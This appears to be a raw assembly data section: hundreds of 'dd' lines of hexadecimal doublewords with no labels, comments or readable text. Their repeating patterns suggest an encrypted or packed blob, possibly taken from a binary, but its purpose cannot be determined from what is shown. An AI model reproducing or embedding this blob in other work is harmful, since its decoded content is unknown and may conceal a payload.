		dd 8FE96AEDh, 6644321Fh, 0CFE1162h, 0EF89B898h,	0EBB3FE9Ah
		dd 606E0158h, 6684B61Ah, 0DF713215h, 7F8DBE50h,	5D388B73h
		dd 0F3AF0974h, 69171807h, 6688BD91h, 6BCC3D15h,	8F223215h
		dd 6611321Dh, 4436513Fh, 675D1CE6h, 708DAF98h, 77F83427h
		dd 4C883215h, 0BB2D6773h, 8E94C6F3h, 65DF9A56h,	1728E5CCh
		dd 3124E1EAh, 0BAA169AEh, 74F86B10h, 2D883215h,	0E25B917h
		dd 0B782C560h, 0D673C9Eh, 0A028648Ch, 311653D3h, 9CABF59Ch
		dd 3CC6BB4Ah, 66883DFCh, 0BB7EB115h, 0BF26A6ACh, 0BC9D3047h
		dd 8A38F4B7h, 63D5B79Ch, 9342343Fh, 0B9A63D44h,	5761534Bh
		dd 6443235h, 0F8B975h, 7629D094h, 774B874h, 70EBAF98h
		dd 0EE2D3427h, 66113216h, 99E9C775h, 1252C6h, 38CD6EACh
		dd 9FACB174h, 668E1801h, 66CCB61Ah, 75CB3215h, 0EF113215h
		dd 71EB0B00h, 17E6B5D1h, 0D9C679EAh, 0D1C26EF9h, 0E387BCACh
		dd 66443219h, 662235FCh, 0FB2B7115h, 19A61355h,	7335B72Eh
		dd 0E22D343Fh, 66113229h
		dd 760F3D75h, 8F443215h, 6622321Eh, 5BF503C4h, 47B67320h
		dd 0DC345FA9h, 0DEFD86h, 0E7940974h, 698E1818h,	66441B90h
		dd 0E62DCE15h, 66113219h, 668835FCh, 94CBBD15h,	46BEA0FFh
		dd 99EFD5FCh, 6D61CEEAh, 96443215h, 2AF47EA2h, 900B3CB2h
		dd 0E3B359B8h, 606E01DCh, 665CB71Ah, 69713215h,	0D187C3AAh
		dd 0DBC753CEh, 60080600h, 27953D15h, 69883215h,	66443A9Eh
		dd 64A23D15h, 6113215h,	6686DB74h, 0DDAD3215h, 42C25E40h
		dd 0C1FEF53Dh, 0B39C206Eh, 68458F96h, 6922343Fh, 66110991h
		dd 6B0C3D15h, 6443215h,	0F6D39FAFh, 669E3D24h, 7883215h
		dd 0F8FDB798h, 0E02D3424h, 66113203h, 668823FCh, 0FC408D15h
		dd 0A5667C6h, 6836C1E4h, 0C61C978Fh, 2BAD4F81h,	9EDDCDEBh
		dd 55D8B72Eh, 0E287343Fh, 99BBCC55h, 6FCBCB75h,	81113215h
		dd 0E9C2492Ah, 0F58BB592h, 0E49FB174h, 671703A3h, 66BAB71Ah
		dd 0DC243215h, 9492778h, 0E32A53EDh, 60B984A3h,	665AB71Ah
		dd 0DF423215h, 2A4BFD5h, 75AFC95h, 6DA0B798h, 8FD7324Ch
		dd 99EECC23h, 2A3352EDh, 70FC341h, 60CBCD24h, 0CE113215h
		dd 1E091EB9h, 0DBC7CB2Eh, 60082A44h, 2953D15h, 6883205h
		dd 8F8BB973h, 6622321Bh, 7A17DE1Ch, 61B44630h, 7326A9A9h
		dd 5D433D31h, 57A79090h, 5D0D3D13h, 69443215h, 66223E97h
		dd 60903D15h, 69883215h, 66443296h, 0C7A7B915h,	9317180Ah
		dd 630F3D75h, 0DE443215h, 2046DF97h, 67AB6074h,	67883215h
		dd 61AD68C2h, 52223215h, 1FD7AF2Dh, 0E3B3B802h,	607584BFh
		dd 6601B71Ah, 0EDED3215h, 4C8F3B90h, 0D812C713h, 66223214h
		dd 694FC514h, 66883E99h, 60CE3D15h, 69223215h, 6611329Eh
		dd 0C00D0915h, 694203A3h, 66227990h, 6601DB15h,	0C6103215h
		dd 0B648F87Dh, 29D9365Bh, 14FFB69Ch, 0E303F451h, 606E27C4h
		dd 5E9860E0h, 0E7733752h, 0B7FBE0D7h, 84857843h, 0E7F0C51Dh
		dd 0F217F5F7h, 5E4AB316h, 4FBAC9ECh, 0EA2D68C2h, 6611321Dh
		dd 668AB71Ah, 7243215h,	0D08CB72Eh, 0E31E3424h,	6688325Fh
		dd 8FC1B9E9h, 69241812h, 66112690h, 6687DB15h, 0B1723215h
		dd 0C1409FA2h, 4B9A9CA1h, 0B7F54BA9h, 61CD3D4Bh, 6223215h
		dd 8E91D09Fh, 0DDDB536Ah, 66443214h, 8F79ED14h,	6611321Bh
		dd 0FD9EA905h, 1E6EF439h, 0FE0C020Fh, 0E32ABFB8h, 60B984A7h
		dd 6609B71Ah, 0EDDE3215h, 4C120390h, 0EDEE5213h, 79EB9C3h
		dd 6635BE1Ah, 74F83215h, 0C3883215h, 2C508B48h,	3C181C77h
		dd 53C6E684h, 0B61C6766h, 67FA6413h, 67223215h,	72F86CE2h
		dd 65883215h, 0E53F54FDh, 0F6B92870h, 0D4F673C9h, 0B26BE0FFh
		dd 5D14FAFCh, 57948490h, 3B943D13h, 6883215h, 6BADF89Fh
		dd 72223215h, 87E4B19Eh, 619A06E9h, 15EB1037h, 0E3A9CB74h
		dd 603B3BECh, 668826FCh, 0E5D97D15h, 6ABE2C32h,	0CB9B2277h
		dd 0BF3D51A2h, 355B5194h, 0FA9860EEh, 0E7667A4Ah, 3AFEFF7h
		dd 586B326h, 4FEE8DEDh,	0E71E68C2h, 66883219h, 66CF3D75h
		dd 223215h, 7CE66ADh, 0D032B72Eh, 0E34B3424h, 66223232h
		dd 6610B31Ah, 0ED713215h, 4C779B90h, 662CDB13h,	0B2363215h
		dd 0FCA7F888h, 47A5B219h, 26F0FB68h, 423DB142h,	5D7D6DEAh
		dd 57F28C90h, 4EA73D13h, 93113215h, 6689B81Ah, 0EDBC3215h
		dd 4C036F90h, 661ADB13h, 2F063215h, 0DA076EE9h,	0D9C11922h
		dd 67AA61C0h, 67883215h, 5DBC69CAh, 5794F090h, 5F943D13h
		dd 8F883215h, 66443205h, 3CD30778h, 25321EB3h, 2DCB0BA0h
		dd 1CAC35EDh, 6EB7B79Eh, 9EE8343Fh, 66898B44h, 0A9453215h
		dd 662CDB4Ch, 8DAE3215h, 31AA08F3h, 8BEFC120h, 0EFACA473h
		dd 0D0D7B72Eh, 0E3873424h, 66443246h, 0FBA7B9ECh, 8F17181Dh
		dd 6688321Ah, 0C299B590h, 22D8F893h, 8681FD9Bh,	34ACED8Dh
		dd 6A5517AFh, 0E7F8C564h, 3A13F6F7h, 4B42B320h,	0E70CC620h
		dd 9215DCFFh, 3CC61B59h, 669DB11Ah, 76AD3215h, 17223215h
		dd 79FF2933h, 0A79C1C61h, 0CDAF60ADh, 5D6E69B0h, 57A7FC90h
		dd 2A0D3D13h, 69443215h, 66222494h, 69F85215h, 67883215h
		dd 8B318CF9h, 8FB0A95h,	0F14084AAh, 93E93B56h, 55F1B79Eh
		dd 642343Fh, 0F0E8973h,	668839FDh, 629B0A15h, 800754AFh
		dd 73F01E19h, 30E9534Fh, 99BBCDABh, 38D51BEAh, 6610BB1Ah
		dd 5D7D3215h, 57F2F890h, 59A73D13h, 9E113215h, 400D8F96h
		dd 6944343Fh, 66220390h, 76923D15h, 69883215h, 66443893h
		dd 6627DB15h, 0A4C13215h, 0EDEF1BD2h, 4C619B90h, 74935213h
		dd 62EE6574h, 42B4B931h, 6940F696h, 6622339Ch, 0DB92CA15h
		dd 60A216D4h, 0DC03D15h, 69223215h, 66113A9Ch, 64013D15h
		dd 6443215h, 30A70974h,	691703A2h, 66886390h, 6649DB15h
		dd 0A7653215h, 880C61FCh, 4275727Ch, 0ED7F5A62h, 4C00EF90h
		dd 0DD42CA13h, 0F084FAFh, 4A94D194h, 8DA3759Eh,	27911E84h
		dd 6D3ED3Ch, 60318A75h,	6430EA9h, 66113EFDh, 7C8E7015h
		dd 45B50E6Bh, 0AB2E6FA3h, 0D5AB6BB0h, 7B8501Eh,	0DBC7CB74h
		dd 600813C8h, 61953D15h, 9A883217h, 7CED8F96h, 6922343Fh
		dd 6610CB91h, 0E3B3CB15h, 6075852Fh, 6673B71Ah,	0ED1E3215h
		dd 66883214h, 0FC1B9E0h, 69241821h, 66112C99h, 7E053D15h
		dd 8F443215h, 66223206h, 0A878F6A4h, 9CE839A7h,	0EA1EA537h
		dd 2F9A6C87h, 3380FE63h, 9977CDA8h, 3BAB1BEAh, 662220FCh
		dd 0D9EE3715h, 87F7CC44h, 0C2E6F2F3h, 4FBD9048h, 5D59313Ah
		dd 573F7890h, 4DC13D13h, 9A223215h, 4F58B79Eh, 6B61343Fh
		dd 0C7443215h, 9202A465h, 7958F18Dh, 832D072Ch,	14238946h
		dd 8DF33F37h, 0A0DDF194h, 0B9A1CB7Bh, 0E37FCA4Eh, 6013852Bh
		dd 660FB71Ah, 0EE873215h, 66443212h, 6623B31Ah,	0EDED3215h
		dd 4C91E390h, 0DC16CA13h, 66223214h, 934BE514h,	0D1C6B72Eh
		dd 0E34B3424h, 66223255h, 661121FCh, 0CEFBC015h, 0E5AE5F8Bh
		dd 31960C9Fh, 0DF6AD6D2h, 52983E9Fh, 6361B79Eh,	0E742343Fh
		dd 0CB80CDF2h, 650C3D03h, 69443215h, 3543C2A2h,	661133AEh
		dd 3D573315h, 0BECF5475h, 7DB851Ah, 0D143B72Eh,	0E3873424h
		dd 66443225h, 0CFA7B9E0h, 69171812h, 66883A94h,	7245215h
		dd 8E108D73h, 4A906574h, 9977CD31h, 6BAD6DEAh, 0F4223215h
		dd 0FF628B27h, 0C0D1D0DBh, 8E44D4B4h, 0D160B72Eh, 0E31E3424h
		dd 66883246h, 664AB01Ah, 69423215h, 66113299h, 66073D15h
		dd 7443215h, 436BB79Eh,	0E01E343Fh, 66883206h, 9CFB3D75h
		dd 66223BFCh, 0DF3B1315h, 20A537AEh, 0E725B6CFh, 662236F9h
		dd 422DBB15h, 39AC36EAh, 6649B01Ah, 6ECB3215h, 1D113215h
		dd 2B22E69Bh, 5D9CBAA7h, 57957490h, 21943D13h, 6883215h
		dd 0CB94B373h, 74CB5305h, 5D113215h, 8CCBD0DDh,	676B858Ch
		dd 0AB20DFDAh, 0B50ED1DEh, 30DB99Dh, 9E421806h,	6625B31Ah
		dd 0E51E3215h, 66883214h, 99FF61EDh, 4FDDCDEAh,	61F869CAh
		dd 90883215h, 54D3F8C0h, 0DBA15899h, 603B28BCh,	460C3D15h
		dd 8F44321Fh, 66223204h, 0C92C7403h, 0E7D23811h, 0E7C1B68Bh
		dd 52368182h, 0B49409FFh, 698E03A3h, 66441E90h,	662BDB15h
		dd 0EFFC3215h, 0F2AC4E9Fh, 0ED972294h, 4C240790h, 0BF905213h
		dd 77C2520Ah, 67FD6374h, 67223215h, 0E61E6BDAh,	66883214h
		dd 0C109E0h, 692403A2h,	66116890h, 84025215h, 8BC1B974h
		dd 8F241802h, 66113204h
		dd 1430536Eh, 0E389DE2Bh, 9F2FB865h, 0D23D6368h, 67326088h
		dd 67443215h, 0E72D68C2h, 6611320Fh, 0A7095475h, 6BAC20A8h
		dd 0D7223215h, 81568CBBh, 3ADC50BDh, 935AACAEh,	0E742534Ah
		dd 0F3AE88FCh, 65073D09h, 443215h, 5D43E59Eh, 57A7E490h
		dd 520D3D13h, 69443215h, 66223393h, 0EDE4CB15h,	4C9F5390h
		dd 76C33D13h, 8F223215h, 6611321Eh, 0CA148CA0h,	0C7761835h
		dd 34C5912Fh, 661133AFh, 3C5F3315h, 6645BB1Ah, 5DDA3215h
		dd 57A7E890h, 2D0D3D13h, 6443215h, 66223DFCh, 0C9764915h
		dd 567959FBh, 0A9496AAAh, 0F4D6108Ch, 0ED70C69Fh, 4C9A0F90h
		dd 0D14B5213h, 76683E6h, 17D38C43h, 0B87F76E6h,	0E747D4D4h
		dd 0BA7C0CF3h, 0E7FFE32Dh, 44A02BFBh, 38B31B19h, 662237FCh
		dd 0C77D7615h, 0E3B3BE79h, 607584CBh, 6656B71Ah, 0E01E3215h
		dd 66883218h, 66443AFCh, 0A522F515h, 114A1424h,	630DB9FCh
		dd 6421816h, 0EA9A5445h, 6EF86DC8h, 50883215h, 9247091Bh
		dd 7B68C68h, 6607BE1Ah,	77613215h, 3C443215h, 6782F5B6h
		dd 85B2644Fh, 0C87D1CE2h, 7084E82Fh, 62EC8946h,	0E75A2220h
		dd 3B776FEh, 0E797C567h, 0A9E7B9D6h, 3DCE3388h,	6684BE1Ah
		dd 0E84B3215h, 66223213h, 6611B31Ah, 0E3B33215h, 607584F7h
		dd 66A1B71Ah, 0EC1E3215h, 66883214h, 0E3F9B1E0h, 66241833h
		dd 667EB71Ah, 76613215h, 0A8443215h, 3D61FBD9h,	54CE04A7h
		dd 0A0AC3451h, 0ED8BAB47h, 4C216390h, 661EDB13h, 85633215h
		dd 42A2FFEAh, 226C2233h, 0A89C5487h, 0E787525Bh, 66443202h
		dd 662220FCh, 0B60FA115h, 32AE82B5h, 0E1231165h, 14A2D5FAh
		dd 0E67F28C3h, 36E9FAF9h, 271810ADh, 3A011F2Fh,	0A1380854h
		dd 6683DB4Dh, 0B06B3215h, 0C4AD8D28h, 0F855E7Ch, 800D09EBh
		dd 694203A3h, 66220C90h, 94905215h, 737C1DF6h, 0B6CF5475h
		dd 0E3A95374h, 603B1780h, 66883DFCh, 7AB5AD15h,	5BA3590Bh
		dd 28D0E065h, 452F95FEh, 6645B21Ah, 33DE3215h, 661133A8h
		dd 3B673315h, 6645BF1Ah, 5DDE3215h, 57A7D890h, 2A0D3D13h
		dd 93443215h, 40A78F96h, 6911343Fh, 66880C90h, 0E3CFCE15h
		dd 60082194h, 6609B01Ah, 75613215h, 0FC443215h,	0F7998740h
		dd 6B8BD45Eh, 0EF36AA1Ch, 0B19BF3B0h, 0DD714D03h, 66113214h
		dd 8FD3ED14h, 6644321Eh, 63687B01h, 0F6F23D3h, 5D2FF525h
		dd 57F2DC90h, 30A73D13h, 9E113215h, 6684DB75h, 0AB903215h
		dd 46C92348h, 39DD96E6h, 8709432Fh, 304AADBDh, 0EBA7B974h
		dd 6171816h, 66883EFCh,	9DC13415h, 0D3993B7Bh, 0FFEE7DD4h
		dd 0BF3754E7h, 89C353E8h, 39776550h, 6602DB48h,	54423215h
		dd 0C5CFC614h, 607325D3h, 0AE149EFAh, 19314489h, 94C10927h
		dd 692403A3h, 66110490h, 669ADB15h, 6BDF3215h, 0E45DFB15h
		dd 0D5580D90h, 0DC25AD93h, 0E9914F80h, 4E8BB79Eh, 6CF8343Fh
		dd 80883215h, 0B4132B29h, 0B1F0845Bh, 99AB6066h, 4F77CDEAh
		dd 5DB168C2h, 5794C890h, 29943D13h, 69883215h, 66442198h
		dd 662CDB15h, 322A3215h, 0C6F1DBE2h, 0B7060A96h, 3D72DA0h
		dd 40948F96h, 6988343Fh, 66441B90h, 0B5A95215h,	6394B974h
		dd 8F8E1830h, 6644321Fh, 4ADF4AB6h, 7E3D6F5h, 0DED88384h
		dd 99BBCDEAh, 697AF53Ch, 6611339Bh, 0E3B3CA15h,	607584E3h
		dd 661BB71Ah, 0EA1E3215h, 66883214h, 0E3F9B1E9h, 66241833h
		dd 6634B71Ah, 0E6E83215h, 0A5CF15E0h, 0BA7B974h, 6171801h
		dd 76E995h, 3725E89Eh, 662233ACh, 3FDE3315h, 6689BC1Ah
		dd 5DBC3215h, 5794CC90h, 44943D13h, 93883215h, 63D9B79Eh
		dd 35DE343Fh, 205C52AEh, 0C74BB378h, 67D68BA7h,	694269CAh
		dd 3471E5A2h, 7D6634Eh,	64C10974h, 692403A2h, 66117690h
		dd 6F093D15h, 6443215h,	8EC99CACh, 7E8B940h, 6081B79Eh
		dd 76AD343Fh, 0C8223215h, 27FAE35h, 0A54BB893h,	5F3827DFh
		dd 34384131h, 99EECDAFh, 3C5F1BEAh, 664FB31Ah, 60CB3215h
		dd 11113215h, 0ADB88F1Ah, 60C109B1h, 692403A2h,	66110890h
		dd 0E303C715h, 606E01E0h, 66223BFCh, 0F1D09F15h, 9B71BFE6h
		dd 0ED244976h, 0DE7253D4h, 99EECDEAh, 8FD0F53Ch, 66443210h
		dd 286E7D8Dh, 6618DBDDh, 0F88A3215h, 0FE053552h, 5D1B5493h
		dd 57A63890h, 280D3D13h, 6443215h, 662234FCh, 792A515h
		dd 9A2AFD25h, 0CFC1B974h, 8F241818h, 6611321Ah,	4BE9841Ah
		dd 37DDDEBFh, 6AF79AE5h, 352690D0h, 77A918AEh, 1B87B344h
		dd 0E704CF3Bh, 7E3C75FEh, 8D497972h, 0E48FB311h, 0E7764715h
		dd 197394FEh, 3D573340h, 68C109E9h, 692403A2h, 66110B90h
		dd 193C5215h, 83C1B974h, 69241801h, 66113498h, 69715215h
		dd 3625C2AAh, 99DDCDADh, 3ED61BEAh, 669CBC1Ah, 69AD3215h
		dd 0CD223215h, 728EC5CFh, 7B50E415h, 8474AC40h,	0E3192A8Eh
		dd 60208507h, 66BFB71Ah, 0EDB13215h, 4C2C9390h,	661CDB13h
		dd 0B9CE3215h, 0AC0C3ED7h, 4E478BF9h, 9365782Bh, 99778B44h
		dd 0A96DCDEAh, 662DDB4Ch, 83C23215h, 0FCD5BE4Eh, 1B9AC1C7h
		dd 314D9C85h, 7094094Dh, 698E03A2h, 66440F90h, 6629DB15h
		dd 2A633215h, 0FF046516h, 67175FA4h, 0F7A7B91Eh, 9F171837h
		dd 76EA8A45h, 8E857513h, 63FAC511h, 312B27EDh, 638EDAD4h
		dd 98F0EB3Bh, 67AF514h,	0E7E08D1Ah, 995D66CCh, 0E37F5375h
		dd 6013850Fh, 665CB71Ah, 0DDE83215h, 6C297A57h,	662237FCh
		dd 0C1985215h, 0EDE915F0h, 4C610F90h, 0EA2DCE13h, 6611321Dh
		dd 668ABC1Ah, 7243215h,	99DD8F40h, 8938CDEAh, 7E093D48h
		dd 69443215h, 66222090h, 661CDB15h, 751D3215h, 0F4020705h
		dd 52D9C975h, 5DB1DE96h, 4CA02B90h, 1EC13D13h, 69223215h
		dd 6611209Ch, 6685DB15h, 10803215h, 25197C04h, 6CC7D0D8h
		dd 0ED689071h, 4C655B90h, 7FAB3D13h, 8F113215h,	66883201h
		dd 62181D89h, 88B20FF4h, 0DBFA5E93h, 4673F5E1h,	0C15D9E76h
		dd 6638B31Ah, 8E713215h, 66883219h, 0BC4512BCh,	1CD3590h
		dd 0C64BF146h, 0B557B34Ch, 7599A6Fh, 66238946h,	0B9103215h
		dd 6A003D4Eh, 69443215h, 66223491h, 66953D15h, 5D883215h
		dd 57F32C90h, 24A73D13h, 6113215h, 0D1758875h, 72467DFh
		dd 5EC1B374h, 73EEB54h,	54E1B79Eh, 0E44B343Fh, 66223214h
		dd 99A863E9h, 4F77CDEAh, 0E54B6BDAh, 66223200h,	661122FCh
		dd 0D8ABCB15h, 4F701BF7h, 0B83E83B3h, 11C9D2C5h, 3C0D0929h
		dd 694203A2h, 66224B90h, 3D465215h, 435B174h, 664203A2h
		dd 6603B71Ah, 6AF83215h, 16883215h, 0F1FDAC89h,	12057B0Eh
		dd 0E5436B23h, 4C9CCBA8h, 0E24B3213h, 6622325Fh, 0ED70C775h
		dd 4C801790h, 664FDB13h, 12293215h, 70C5181Fh, 141D53DBh
		dd 664EDB8Ch, 42EF3215h, 0CCC77092h, 0D0A15672h, 99BB8847h
		dd 0B10BCDEAh, 75983D4Fh, 8F883215h, 6644321Bh,	9D7360DBh
		dd 0BD46DA4Fh, 7CA9AD2h, 0E37F3B14h, 6013854Bh,	66B7B71Ah
		dd 34E83215h, 53FD69ECh, 705FF69h, 661123FCh, 2E32DC15h
		dd 0C8F7E32Dh, 1C8C071Dh, 0E00BAA4h, 0DB0B8E10h, 60758577h
		dd 24A73D15h, 8F113215h, 6688321Ah, 0B1A8DACCh,	2F666988h
		dd 0D94EC50Fh, 0E59A0EE4h, 4C50CBA8h, 0E22D3213h, 6611324Dh
		dd 6686BA1Ah, 6FAD3215h, 40223215h, 0E4840385h,	4A9BA3A6h
		dd 66443AFCh, 3A8DF715h, 42F6A191h, 0A30DB9C4h,	8F421834h
		dd 6622321Dh, 0DE6B9D46h
		dd 3EA8B8B0h, 74C68B44h, 87E3322Fh, 0A7C8C513h,	970937F4h
		dd 492FC214h, 697BFD14h, 66113595h, 67083D15h, 9A443215h
		dd 0D100B72Eh, 0E31E3424h, 66883232h, 0E3C1B9E9h, 624180Ch
		dd 6FF5C394h, 0E7E87F2Bh, 8AFE69CDh, 0F5E3B35Fh, 743FAAEh
		dd 67366474h, 67443215h, 5DD76CE2h, 57A61490h, 570D3D13h
		dd 69443215h, 66223E91h, 6616DB15h, 1E383215h, 19CB0055h
		dd 599D521Dh, 714A5C6h,	7FA5B79Eh, 69B8343Fh, 6622339Ch
		dd 0DD42CE15h, 66883214h, 9E1FED14h, 0D108B72Eh, 0E31E3424h
		dd 6688324Dh, 664434FCh, 0B7D38815h, 0ED9A0F5Fh, 4C84EB90h
		dd 7BC13D13h, 6223215h,	6605DAE9h, 51E13215h, 0F48256BBh
		dd 793FB8F5h, 0FAB608B8h, 0A817A332h, 71F7E5Dh,	662EB91Ah
		dd 0E61E3215h, 66883213h, 6644B81Ah, 0DB773215h, 76081C5Fh
		dd 9309E7E2h, 765D1C5Fh, 937FDD3Ch, 0D13FB72Eh,	0E3873424h
		dd 66443221h, 66223AFCh, 51693F15h, 0C3F51762h,	77C1B928h
		dd 69241810h, 6611239Dh, 6684DB15h, 36953215h, 1A598B7Fh
		dd 35364CB2h, 0DED8CF96h, 99BBCDEAh, 9A7AF53Ch,	0D123B72Eh
		dd 0E3873424h, 6644323Fh, 93A7B9E0h, 6917183Eh,	66883396h
		dd 0DD17CA15h, 99DDCDEAh, 64AED3Ch, 0EA918B73h,	66443AFCh
		dd 0AE528115h, 35658014h, 0E3B353EBh, 60758523h, 661BB71Ah
		dd 76F83215h, 3C883215h, 0AB6563CDh, 0DA2C837Dh, 4847DD45h
		dd 0ED12F833h, 4C420790h, 37DACE13h, 99EECDACh,	3F471BEAh
		dd 6649B71Ah, 6ECB3215h, 0F0113215h, 0A90C2A84h, 6D8013A3h
		dd 43A63DEAh, 69113215h, 66882798h, 0DE225215h,	6CCBFEA6h
		dd 0C8113215h, 251B52EFh, 0D5858330h, 0E1CB538Bh, 6EECDF8h
		dd 773851Ah, 7935B72Eh,	0E32D343Fh, 6611323Eh, 668821FCh
		dd 8DB86C15h, 4087AE38h, 0E920F862h, 94141691h,	850BC7BCh
		dd 3490B798h, 8FE43424h, 9977DF47h, 6645B81Ah, 5DDB3215h
		dd 4C18AF90h, 390D3D13h, 6443215h, 0CA65FA94h, 9342337Bh
		dd 69E8534Eh, 66443193h, 0CE0B215h, 0E4ACB174h,	678E03A3h
		dd 6678B71Ah, 0EC2D3215h, 66113219h, 668EBF1Ah,	0EF4B3215h
		dd 66223215h, 6D76B798h, 6D61324Ch, 0B9443215h,	0C0934207h
		dd 0FC4B8F9Ch, 8961E3DCh, 69BBCDF9h, 66223B94h,	7715215h
		dd 0E081EFAFh, 0E37F5304h, 60138487h, 662CB61Ah, 0E1873215h
		dd 66443207h, 66223FFCh, 57AEAD15h, 4117B27Fh, 0EDB2F26Fh
		dd 0E3193FC0h, 60208483h, 66A6B71Ah, 72AD3215h,	88223215h
		dd 53292E1Eh, 0C343BDCBh, 35D313AEh, 67EA42A6h,	8F4246A7h
		dd 9977DE87h, 6645BA1Ah, 6DA3215h, 31C1B973h, 7D76D43h
		dd 3DD18B44h, 0E7630B3Ch, 4148C8D4h, 0A759C573h, 0DC163AF4h
		dd 11A13B39h, 5D89D094h, 0BC7F61FEh, 1E4CF094h,	0B71330D8h
		dd 3FDFBB4Fh, 6776B1E9h, 6690B71Ah, 61CB3215h, 19113215h
		dd 39A67350h, 0E37FF839h, 60138493h, 663FB71Ah,	0E1873215h
		dd 66443210h, 0B09D3D75h, 0A294BF74h, 6886A92h,	664434FDh
		dd 0BB3FE215h, 690A6367h, 7D7CCA2h, 99A83FFCh, 0DE52EAh
		dd 74E76ACh, 0D002B72Eh, 0E34B3424h, 66223241h,	6616B71Ah
		dd 0E0873215h, 66443214h, 75A63DE0h, 8F113215h,	6688321Bh
		dd 3B2F187Eh, 946A96BAh, 0D31B53C8h, 0E305446Fh, 661CBA2Fh
		dd 662223FCh, 75627915h, 1F38CBC3h, 0A756C4DCh,	3375709Bh
		dd 0D5F845F5h, 8F77CDFEh, 66443212h, 0ABA5C7C4h, 9A343F6Bh
		dd 0D006B72Eh, 0E34B3424h, 66223237h, 1994BFE9h, 9F886A9Dh
		dd 8DC8DBECh, 0E92DCDEAh, 6611321Bh, 0D262B375h, 69005732h
		dd 66223293h, 0E7415315h, 7A8A1639h, 341C5EF3h,	0CB70C4AFh
		dd 64F3F378h, 9C4AB357h, 0E7644405h, 0DC9D1DD7h, 3CC13380h
		dd 64083D75h, 6443215h,	0ADA35474h, 0E7705CE6h,	668836F9h
		dd 4258BB15h, 1845397Dh, 0AD906925h, 23D1555Ah,	229CD994h
		dd 0ADA323A3h, 219D5459h, 0F5C194h, 0B8CD55D8h,	8EDE524Eh
		dd 66113218h, 0D0AC045Ch, 9ED8F84Dh, 0ED96406Bh, 0CFAE54F6h
		dd 6DE96C70h, 5EC13DE3h, 8F223215h, 66113206h, 7C5C4C97h
		dd 6ECEAF01h, 0BF17F764h, 4ED96314h, 8F93DD5Eh,	99BBD8B5h
		dd 6637B01Ah, 8F713215h, 6688321Bh, 11E7B873h, 0E34F8934h
		dd 0BCC0D3C5h, 36E9CA20h, 8CB8B44h, 2A0B2E86h, 38483631h
		dd 807F494h, 6BD2E86h, 0F1B5F194h, 0AE903144h, 4A52EA83h
		dd 47F1BB74h, 6241838h,	0C0CFB373h, 72606230h, 82443215h
		dd 0C6DB4F6h, 55B3DB0Bh, 3ABA75F6h, 44C3762Ch, 3ED64CB7h
		dd 0D398534Fh, 60A225CCh, 8F7AB2ECh, 66EEB71Ah,	713215h
		dd 0EE87C99Eh, 66443217h, 9943EA9Fh, 62903363h,	88E1B531h
		dd 0DC166D5Fh, 2CCC5B92h, 64BE53Ch, 0F0D895h, 0E41ED294h
		dd 662CDB74h, 2AB23215h, 0AC4F2F57h, 0DB2C4B74h, 0E6AE62B6h
		dd 0D6D8C43h, 91A16CCEh, 0E7B3334Bh, 0BD494ED2h, 6A9E3D4Bh
		dd 8F883215h, 66443212h, 2B09FB91h, 9356BF3Ch, 668CDE94h
		dd 52CD3215h, 6D76931h,	661138FDh, 5E08DF15h, 0D0FB5CCCh
		dd 3D61A544h, 75D78A73h, 6264B374h, 0EF443215h,	66981601h
		dd 67113255h, 5D7468C6h, 4C6913A8h, 7DA03D13h, 6113215h
		dd 9161B373h, 9D7F536Ah, 663EB41Ah, 93713215h, 668BB51Ah
		dd 86C43215h, 0FCB53D4h, 6EECDFCh, 218A8A73h, 14B4B373h
		dd 0DBA953E2h, 603B2224h, 0B83F3D75h, 664426FDh, 2E5BB315h
		dd 94C4DCA4h, 2B7FAA9Dh, 0DB9C44A8h, 8891A346h,	0B69A5432h
		dd 0E34F534Dh, 606E27E0h, 66223215h, 661137FCh,	76145015h
		dd 692439B1h, 66223390h, 0D398CA15h, 60A225CCh,	6654BE1Ah
		dd 8F423215h, 66113213h, 47B21DFFh, 0ED2271F5h,	0FBAF53CBh
		dd 60230EAAh, 6699BD1Ah, 6AAD3215h, 90223215h, 2D514B5h
		dd 231347A1h, 991D55C0h, 662DDBC6h, 7BF3215h, 0C24FA5E0h
		dd 75BAAF75h, 9C7182A6h, 0A61ACB46h, 6683B61Ah,	243215h
		dd 8F43C19Eh, 66113260h, 4815BFEDh, 69421DADh, 6622379Fh
		dd 2AA35215h, 0B57753E9h, 99C0B11Ah, 0EDDECDEAh, 4C06EBA0h
		dd 75023D13h, 8F443215h, 6622321Bh, 6CCDF1E8h, 339424B7h
		dd 0F5110232h, 0D3ABE0F3h, 603B27E0h, 668839FCh, 2F669E15h
		dd 8193016Dh, 0CA3D5B77h, 0AF50AF98h, 75AD3425h, 0C4223215h
		dd 0FAD20F47h, 5DD83A76h, 64E4C028h, 0D4C023D7h, 0B5EEAF02h
		dd 0A5035475h, 47C1B974h, 69241838h, 6611289Bh,	72033D15h
		dd 8F443215h, 6622321Ah, 67A3AEF1h, 0DF3C4A61h,	2A21D748h
		dd 0EF30E889h, 4C06EB90h, 0DDEE5213h, 12F12190h, 0E32D5374h
		dd 66113214h, 8EB6B2EDh, 66A3B71Ah, 74CB3215h, 6E113215h
		dd 13BF04CFh, 7E448429h, 0B70BEBD8h, 0FF617847h, 8B35B148h
		dd 6642181Bh, 66E1B61Ah, 75F83215h, 7E883215h, 0FD0A034Eh
		dd 3E8EC6B1h, 0AB1B1BE5h, 109E5ED6h, 0D7156C56h, 0ADAA61FCh
		dd 3F4AEA9Dh, 6A093D75h, 8F443215h, 66223212h, 0A2FDB58Bh
		dd 75614AFh, 69C03DBFh,	8F223215h, 6611321Fh, 86A33440h
		dd 34C00FF8h, 0E7744CCAh, 742B1639h, 35D0678Fh,	0FC5608AEh
		dd 3DFA3340h, 6616B11Ah, 69E83215h, 724E0AAh, 8D986074h
		dd 67251E2Eh, 9EA168C5h, 4A7FD938h, 6624DB21h, 52ED3215h
		dd 44AA3507h, 6640DE94h, 4AAB3215h, 66158F31h, 8EA13215h
		dd 69EFCE48h, 66223A95h, 64913D15h, 6883215h, 64D2DB74h
		dd 74CB3215h, 8B113215h
		dd 532C08CDh, 7A7635B7h, 0FCCB9484h, 4CE9CAD3h,	2D15BF2Fh
		dd 9A420036h, 65A73D75h, 0E6113215h, 0DEEED0DDh, 992568A0h
		dd 70A63DC6h, 6113215h,	6688B21Ah, 6FAD3215h, 61223215h
		dd 0FC0BE881h, 456B1D1Ch, 0C9D9BF74h, 93240022h, 72F8E1EAh
		dd 0ED883215h, 67C9D989h, 1F69B0A8h, 0C8B42637h, 0C60A223Fh
		dd 6DDB0467h, 50A73DD5h, 6113215h, 668835FDh, 79026A15h
		dd 39C03E09h, 0FEF6ACABh, 8FE96D11h, 6644325Dh,	6635BC1Ah
